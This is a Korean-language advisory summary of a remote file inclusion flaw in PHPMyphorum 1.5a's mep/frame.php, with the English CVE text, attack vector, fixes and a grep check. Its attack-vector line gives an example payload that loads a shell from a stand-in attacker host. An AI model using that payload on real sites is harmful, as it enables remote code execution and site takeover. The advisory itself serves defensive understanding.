🇰🇷 한글 설명
PHPMyphorum 1.5a의 mep/frame.php 파일에서 chem 파라미터가 검증 없이 원격 파일을 포함할 수 있는 취약점입니다. 공격자는 URL을 통해 악의적인 PHP 코드를 실행할 수 있으며, 이를 이용한 원격 코드 실행(RCE) 공격이 가능합니다.
💡 쉬운 설명
PHPMyphorum 웹사이트의 특정 기능이 인터넷에서 파일을 받아올 때 안전 검사를 하지 않아 해커가 악의적인 코드를 삽입할 수 있습니다. 이를 통해 웹사이트 전체를 제어하고 개인정보를 탈취할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in mep/frame.php in PHPMyphorum 1.5a allows remote attackers to execute arbitrary PHP code via a URL in the chem parameter.
📍 영향받는 시스템
PHPMyphorum 1.5a 이하 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 chem 파라미터에 원격 파일 URL 주입 (예: ?chem=http://attacker.com/shell.php)
🛡️ 대응 방법
PHPMyphorum을 1.5a 이상의 패치된 버전으로 업그레이드 또는 입력값 검증 및 allow_url_include 비활성화
🔧 검증 코드
$_GET 변수를 직접 include/require하는 코드가 있으면 취약, 없으면 안전
grep -r 'include.*\$_GET\|require.*\$_GET' mep/frame.php 2>/dev/null || echo 'File not found or not vulnerable'